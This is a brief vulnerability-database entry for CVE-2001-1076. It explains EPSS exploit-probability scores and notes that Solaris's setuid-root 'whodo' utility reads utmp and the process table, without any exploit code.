CVE-2001-1076 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/2935/info The 'whodo' utility shipped with Sun Microsystems' Solaris provides a listing of users online and their activities. It is installed setuid root because it reads from the 'utmp' log as well as from the process table.
